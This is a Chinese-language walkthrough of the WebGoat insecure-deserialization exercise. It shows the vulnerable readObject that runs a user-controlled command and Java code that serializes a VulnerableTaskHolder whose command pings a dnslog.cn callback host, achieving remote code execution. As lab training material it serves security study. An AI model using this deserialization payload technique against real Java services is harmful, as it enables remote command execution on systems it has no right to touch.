反序列化这关在前端页面可以看到是提交token到后端,先看一下接口名

可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java

源码如下:
package org.owasp.webgoat.deserialization;import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;import java.io.*;
import java.util.Base64;@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {@PostMapping("/InsecureDeserialization/task")@ResponseBodypublic AttackResult completed(@RequestParam String token) throws IOException {String b64token;long before;long after;int delay;b64token = token.replace('-', '+').replace('_', '/');try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {before = System.currentTimeMillis();Object o = ois.readObject();if (!(o instanceof VulnerableTaskHolder)) {if (o instanceof String) {return failed(this).feedback("insecure-deserialization.stringobject").build();}return failed(this).feedback("insecure-deserialization.wrongobject").build();}after = System.currentTimeMillis();} catch (InvalidClassException e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();} catch (IllegalArgumentException e) {return failed(this).feedback("insecure-deserialization.expired").build();} catch (Exception e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();}delay = (int) (after - before);if (delay > 7000) {return failed(this).build();}if (delay < 3000) {return failed(this).build();}return success(this).build();}
}
可以看到大概就是对输入的token先base64解码然后输入到字节数组输入流中然后再接到对象输入流,并利用readObject进行反序列化操作得到对象o,然后判断该对象是否属于VulnerableTaskHolder类,如果不是则返回失败。如果是VulnerableTaskHolder类则继续往下走。所以我们应该就是重点关注VulnerableTaskHolder这个类,看看其是否重写了readobject方法。
package org.dummy.insecure.framework;import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;import lombok.extern.slf4j.Slf4j;@Slf4j
public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}@Overridepublic String toString() {return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="+ requestedExecutionTime + "]";}/*** Execute a task when de-serializing a saved or received object.* @author stupid develop*/private void readObject( ObjectInputStream stream ) throws Exception {//unserialize data so taskName and taskAction are availablestream.defaultReadObject();//do something with the datalog.info("restoring task: {}", taskName);log.info("restoring time: {}", requestedExecutionTime);if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//do nothing is the time is not within 10 minutes after the object has been createdlog.debug(this.toString());throw new IllegalArgumentException("outdated");}//condition is here to prevent you from destroying the goat altogetherif ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}}}
果然是重写了readobject方法,那么我们看看是否存在命令执行的点。可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的。
再看看这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间,太好了,那这个变量我们就不用管了,我们重点关注的是taskAction变量,taskName变量是啥都无所谓。
分析了类成员变量的作用后,现在我们就要构造payload了,如下所示
VulnerableTaskHolder vuln = new VulnerableTaskHolder("qwq","ping ***.dnslog.cn");
然后对其进行序列化并编码为base64
ByteArrayOutputStream bOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(bOut);
objOut.writeObject(vuln);
String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
System.out.println(str);
objOut.close();
我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。
package org.dummy.insecure.framework;import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;import lombok.extern.slf4j.Slf4j;@Slf4j
public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}@Overridepublic String toString() {return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="+ requestedExecutionTime + "]";}/*** Execute a task when de-serializing a saved or received object.* @author stupid develop*/private void readObject( ObjectInputStream stream ) throws Exception {//unserialize data so taskName and taskAction are availablestream.defaultReadObject();//do something with the datalog.info("restoring task: {}", taskName);log.info("restoring time: {}", requestedExecutionTime);if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//do nothing is the time is not within 10 minutes after the object has been createdlog.debug(this.toString());throw new IllegalArgumentException("outdated");}//condition is here to prevent you from destroying the goat altogetherif ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}}// 重点如下,payload构造public static void main(String[] args) throws Exception {VulnerableTaskHolder vuln = new VulnerableTaskHolder("qwq","ping ep0eg7.dnslog.cn");ByteArrayOutputStream bOut = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(bOut);objOut.writeObject(vuln);String str = Base64.getEncoder().encodeToString(bOut.toByteArray());System.out.println(str);objOut.close();}}
执行后结果如下

将如上代码输入表单提交,成功rce



















